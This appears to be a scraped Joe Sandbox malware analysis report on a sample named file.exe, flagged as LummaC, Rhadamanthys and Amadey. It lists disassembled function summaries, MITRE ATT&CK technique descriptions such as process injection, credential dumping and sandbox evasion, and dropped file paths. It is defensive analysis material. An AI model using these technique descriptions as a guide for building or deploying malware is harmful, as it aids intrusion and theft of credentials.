Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92b1b0013eeba220840f9d29028ff0f7df398490723d5963fe2aa363fdc1752b
Instruction ID: 88b60f8432ceabacaa32422f5f8f96e36455df98095e4e255eb2d7a36f8826ac
Opcode Fuzzy Hash: 92b1b0013eeba220840f9d29028ff0f7df398490723d5963fe2aa363fdc1752b
Instruction Fuzzy Hash: 2421A232204705AFDF20AF65CC8196B77A9FF427647144529F869D7251EF31EC40A7B1

Function 00DA484F Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00DA4857

Part of subcall function 00D9E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00D9FDE8,?,00000000,-00000008), ref: 00D9E6A2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00DA488F
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00DA48AF

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 74f3ca21055217d0114d89255b3bd33d780efd5debee221c65d427573be95d6a
Instruction ID: 08ac7e8ec3773e2c6ee5f6d89f2152b3acb13907e51e46af6727a18f8872dd31
Opcode Fuzzy Hash: 74f3ca21055217d0114d89255b3bd33d780efd5debee221c65d427573be95d6a
Instruction Fuzzy Hash: 951126F6506265BFAF1567B5AC8EC7F7E5CDEC63943140924F401D1201FAA8DE1096B0

Function 00D9457B Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D94582
std::_Lockit::_Lockit.LIBCPMT ref: 00D9458C

Part of subcall function 00D924C2: std::_Lockit::_Lockit.LIBCPMT ref: 00D924DE
Part of subcall function 00D924C2: std::_Lockit::~_Lockit.LIBCPMT ref: 00D924F7

codecvt.LIBCPMT ref: 00D945C6
std::_Lockit::~_Lockit.LIBCPMT ref: 00D945FD

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 0a1a8ffdeaa6a8d32354e845e554e5c9e6ea8f597429c1ede87ad10694a93fe2
Instruction ID: e9a201987d440737410b2034793656abf6aff9bf68c36d3bd053b0c6720eef60
Opcode Fuzzy Hash: 0a1a8ffdeaa6a8d32354e845e554e5c9e6ea8f597429c1ede87ad10694a93fe2
Instruction Fuzzy Hash: AC01C076900215EBCF05EBA4D816ABD7771FF54310F250649E411AB392CF74DE0287B1

Function 00DAA4E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00DA9B0F,00000000,00000001,00000000,?,?,00DA5A1F,?,00000000,00000000), ref: 00DAA4F7
GetLastError.KERNEL32(?,00DA9B0F,00000000,00000001,00000000,?,?,00DA5A1F,?,00000000,00000000,?,?,?,00DA5365,00000000), ref: 00DAA503

Part of subcall function 00DAA554: CloseHandle.KERNEL32(FFFFFFFE,00DAA513,?,00DA9B0F,00000000,00000001,00000000,?,?,00DA5A1F,?,00000000,00000000,?,?), ref: 00DAA564

___initconout.LIBCMT ref: 00DAA513

Part of subcall function 00DAA535: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00DAA4D1,00DA9AFC,?,?,00DA5A1F,?,00000000,00000000,?), ref: 00DAA548

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00DA9B0F,00000000,00000001,00000000,?,?,00DA5A1F,?,00000000,00000000,?), ref: 00DAA528

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 4d7e874283c6cb95504f8bf581d25cdc5bdada817fc289e0122a5855aae9175c
Instruction ID: add9ab68d8668fab1e3e94fca5245432b0b84d2ac2d725a73ec4eac4c7c0f831
Opcode Fuzzy Hash: 4d7e874283c6cb95504f8bf581d25cdc5bdada817fc289e0122a5855aae9175c
Instruction Fuzzy Hash: FBF01C36410215FFCF221F99EC0899A3F66FB893A0B044610FA09D5220D736C920EBB5

Function 00D959A7 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00D959B9
GetCurrentThreadId.KERNEL32 ref: 00D959C8
GetCurrentProcessId.KERNEL32 ref: 00D959D1
QueryPerformanceCounter.KERNEL32(?), ref: 00D959DE

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 4a9b54fca138cafb6b6d8c9d38896437e5ff24efe60468286345231e53ce9bab
Instruction ID: 3fd048d42cf9ee68bdd65980b4d8e58cfd0c0168de7e04e0b3f084327d96ac03
Opcode Fuzzy Hash: 4a9b54fca138cafb6b6d8c9d38896437e5ff24efe60468286345231e53ce9bab
Instruction Fuzzy Hash: 67F05F74D1120DEBCF00DBB5D94999EBBF4FF1C204BA14696A412E7210E670AB449F60

Function 00DA2117 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D9E783: GetLastError.KERNEL32(00000000,?,00DA0AB9), ref: 00D9E787
Part of subcall function 00D9E783: SetLastError.KERNEL32(00000000,?,?,00000028,00D9B9D2), ref: 00D9E829

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00D99266,?,?,?,00000055,?,-00000050,?,?,?), ref: 00DA21D6
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00D99266,?,?,?,00000055,?,-00000050,?,?), ref: 00DA220D

Strings

utf8, xrefs: 00DA22DF

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: e193e41e2489775307f43a87395b7cd3fca473ebc8a7e00e15412f560fca1d1e
Instruction ID: ae5c7949594f4b5f91830840888e88716b847d0af1bf09dae64c2a1ed74c6bd6
Opcode Fuzzy Hash: e193e41e2489775307f43a87395b7cd3fca473ebc8a7e00e15412f560fca1d1e
Instruction Fuzzy Hash: 4051E671644301EADF25AB7E8C82BB773A8EF47700F180429FA45DB581FA74E9408675

Function 0042B715 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 182COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042BEF9

Strings

#v, xrefs: 0042BEF9, 0042BF17

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID: FreeLibrary
String ID: #v
API String ID: 3664257935-554117064
Opcode ID: 4f59d2d48b843f9d69bb6037eb0ebbce4795cec77d6df5c080272f5459bd78a8
Instruction ID: d0e48a199c6c705821f8c8f25112402aa775e3dd908bc2a6c761a244230c4604
Opcode Fuzzy Hash: 4f59d2d48b843f9d69bb6037eb0ebbce4795cec77d6df5c080272f5459bd78a8
Instruction Fuzzy Hash: B751CB34204B918FD712CB39C890772BBE2EF9B314B54849DD4D68FB62C73AA846CB55

Function 00D9DFAC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00D9DEAD,?,?,00000000,00000000,00000000,?), ref: 00D9DFD1

Strings

RCC, xrefs: 00D9DFEB
MOC, xrefs: 00D9DFE3

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: f6ee3d78a1637faf90d6eea1adf571552f88f8e76d93e165afb9615b2020703c
Instruction ID: 22e8dbb331995a9d2da1c6b2ab6a9d8e557ac5470c7d096f90a95562f24a1754
Opcode Fuzzy Hash: f6ee3d78a1637faf90d6eea1adf571552f88f8e76d93e165afb9615b2020703c
Instruction Fuzzy Hash: FF415971900209AFCF26DF98DC81AEEBBB5FF48304F188169FA08A7255D3759990DB60

Function 00D9D818 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00D9DA8F

Strings

csm, xrefs: 00D9DB22
csm, xrefs: 00D9DAB1

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 102419de9211abfb084bc55a2ca7d810a826553bdee12a52da6912b64ccd897f
Instruction ID: 878f8de9f1826f3df382ec91e20c660a05cfaff18b1a30096e379777f80fadfd
Opcode Fuzzy Hash: 102419de9211abfb084bc55a2ca7d810a826553bdee12a52da6912b64ccd897f
Instruction Fuzzy Hash: 1331C136504218EBCF229F94CC409AA7B77FF09369F2D425AF8544A221C332DCA1DBB1

Function 00D929D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(00DB648C,ios_base::badbit set,?,?,00D91C84,00DB6478,00D91B17), ref: 00D929DF
ReleaseSRWLockExclusive.KERNEL32(00DB648C,?,?,00D91C84,00DB6478,00D91B17), ref: 00D92A19

Strings

ios_base::badbit set, xrefs: 00D929D8

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ios_base::badbit set
API String ID: 17069307-3882152299
Opcode ID: a5862076fc80e25f9d75d48df8f1c01409170cc107e4bed4779628d8748a3d8d
Instruction ID: 46873b7ec34e5f07ac608a7d075049dcf663c17c6794b1f2c3ddbe76d0868410
Opcode Fuzzy Hash: a5862076fc80e25f9d75d48df8f1c01409170cc107e4bed4779628d8748a3d8d
Instruction Fuzzy Hash: 90F08231600600EFCB249F18D844A757B68FB45734F14032EE896833E0C7355842DE71

Function 0040B9E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00408A1C), ref: 0040B9E6
FreeLibrary.KERNEL32 ref: 0040BA07

Strings

#v, xrefs: 0040B9E6, 0040BA07

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID: FreeLibrary
String ID: #v
API String ID: 3664257935-554117064
Opcode ID: 7c54cb469457635f36ad0ae8b4914aa2b457e5d6445ebac04a39c07ed6b78a77
Instruction ID: 23a19cfd90755bc3f012e3213f5be6af889070350e8c7cc38b3ff011247ab6d8
Opcode Fuzzy Hash: 7c54cb469457635f36ad0ae8b4914aa2b457e5d6445ebac04a39c07ed6b78a77
Instruction Fuzzy Hash: 51C00279419401AFCE017B61FC199283A21BB563457050834E51990236DB2A0927DB2E

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Rhadamanthys

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe

Windows Analysis Report
file.exe

